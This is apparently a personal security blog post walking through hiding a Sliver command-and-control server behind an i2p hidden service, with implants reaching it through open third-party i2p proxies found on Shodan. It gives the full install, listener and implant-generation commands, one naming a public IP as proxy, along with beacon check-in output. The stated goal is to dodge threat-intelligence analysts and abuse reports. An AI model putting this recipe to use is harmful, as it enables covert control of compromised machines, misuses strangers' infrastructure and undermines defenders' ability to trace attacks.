Hiding C2 Infrastructure behind i2p by "abusing" open i2p relays/in-proxies.

It has been about a year since I last wrote anything on this blog. Lets fix that.

Anyway, today I happened to have a bit of free time and was thinking about my last post which was on the topic of using Tor hidden services and open Tor proxies to catch shells.

I also happened to remember that the lesser known, "garlic routing" anonymity network - i2p - exists. I have no idea why, exactly, i2p isn't as widely adopted as Tor, but I suspect it has something to do with the default client being a giant pile of Java and being a bit user-unfriendly overall.

There is a C++ i2p router out there, but I think if they rewrote it in Rust and enabled embedding - like Arti from Tor Project - it would become significantly more popular.

Anyway. i2p offers "eepsites" or "i2p services" (or however they are called) that are basically the equivalent to a Tor hidden service. For the purposes of this blog post, we are interested in the HTTP "server" i2p tunnels. You can read about those here.

The general idea I have for this involves 3 steps, and should be accomplishable during a lunch break.

  1. Setting up a HTTP based C2 server "behind" i2p, with the implants being able to connect only via i2p. Much like a Tor hidden service based C2.
  2. Finding some open i2p "proxies" that enable clearnet-i2p access without installing i2p on the target machines.
  3. Getting the implant to "work" over one of these proxies, with minimal actual effort.

First, we need to install i2p. So, I guess we go do that. I used an Ubuntu VPS for this. I also configured it to start at boot. Because the i2p web panel works on localhost, I also used the "-D" argument with SSH to allow me to access it.

sudo apt-add-repository ppa:i2p-maintainers/i2p
sudo apt-get update
sudo apt-get install i2p
dpkg-reconfigure i2p

Next, we navigate to the i2ptunnel endpoint in the UI.

We then click "create" on new hidden service (HTTP type), and fill out the form. Our C2 listener will be on localhost on port 6969.

I opted to completely ignore the advanced options. On the next page after you save it, you will see it in the list of services.

We now have our hidden service. Yay. The "destination" address ending with "i2p" is basically the equivalent of a Onion hostname, but for i2p.

Next, we do the setup of Sliver. This is pretty simple: we literally run the following curlbash to make it happen. I do enjoy how a security tool is installed using possibly the worst method known to god and man, but whatever. Makes the demo easy.

curl https://sliver.sh/install|sudo bash

We now launch our sliver listener by running "sliver" and then creating a HTTP listener on port 6969.

sliver > http -L 127.0.0.1 -l 6969

[*] Starting HTTP :6969 listener ...

[*] Successfully started job #1

Next, we build our implant with the localhost i2pd proxy set and hope it works.

sliver > generate beacon --http http://genuch2jcncqhyumu3b7vgad6tpldw3y6snappr3wbg75n26yoya.b32.i2p?proxy=http://127.0.0.1:4444&force-http=true -o linux

[*] Generating new linux/amd64 beacon implant binary (1m0s)
[*] Symbol obfuscation is enabled
[*] Build completed in 1m59s
[*] Implant saved to /root/CHEAP_BEE

sliver >

We run the implant and, holy moly, it works!

[*] Beacon 28f8f0c1 CHEAP_BEE - 127.0.0.1:52454 (i2ptest) - linux/amd64 - Fri, 25 Jul 2025 11:53:47 UTC

sliver > beacons

 ID         Name        Tasks   Transport   Remote Address    Hostname   Username   Operating System   Locale   Last Check-In                            Next Check-In
========== =========== ======= =========== ================= ========== ========== ================== ======== ======================================== =======================================
 28f8f0c1   CHEAP_BEE   0/0     http(s)     127.0.0.1:52454   i2ptest    root       linux/amd64        en-US    Fri Jul 25 11:53:48 UTC 2025 (33s ago)   Fri Jul 25 11:55:02 UTC 2025 (in 41s)

sliver >

Ok, so that is the first challenge accomplished. Now to move to the next part. It should take approximately five minutes to achieve.

Finding open i2p proxies was easy: a Shodan search for "I2Pd HTTP proxy" got us a few hits. You can probably find better ways to search for these. Anyway. We move to part 3.

Picking the first hit, we come up with a new "generate" command to use, that will use this "open" in-proxy to access the i2p network.

sliver > generate beacon --http http://genuch2jcncqhyumu3b7vgad6tpldw3y6snappr3wbg75n26yoya.b32.i2p?proxy=http://93.208.52.248:4444&force-http=true -o linux

[*] Generating new linux/amd64 beacon implant binary (1m0s)
[*] Symbol obfuscation is enabled
[*] Build completed in 2m16s
[*] Implant saved to /root/ILL_PROSE

sliver >

We now copy this executable to another host which does not have i2p installed, and execute it.

sliver >
[*] Beacon 0be2e4e6 ILL_PROSE - 127.0.0.1:53470 (redacted) - linux/amd64 - Fri, 25 Jul 2025 12:03:21 UTC

sliver > beacons

 ID         Name        Tasks   Transport   Remote Address    Hostname            Username   Operating System   Locale   Last Check-In                           Next Check-In
========== =========== ======= =========== ================= =================== ========== ================== ======== ======================================= =========================================
 0be2e4e6   ILL_PROSE   0/0     http(s)     127.0.0.1:53470   redacted   root       linux/amd64        en-US    Fri Jul 25 12:03:23 UTC 2025 (6s ago)   Fri Jul 25 12:04:51 UTC 2025 (in 1m22s)

sliver >

And it worked! We can now use the beacon as normal, do Sliver things, albeit kind of slowly I guess due to latency.

Anyway, I hope this was somewhat interesting. Another way to hide a C2 behind a public anonymity network and use other peoples infrastructure so there are less things for CTI nerds to send abuse reports to you about.

I'm sure some of you smart folks can find ways to take this whole thing further.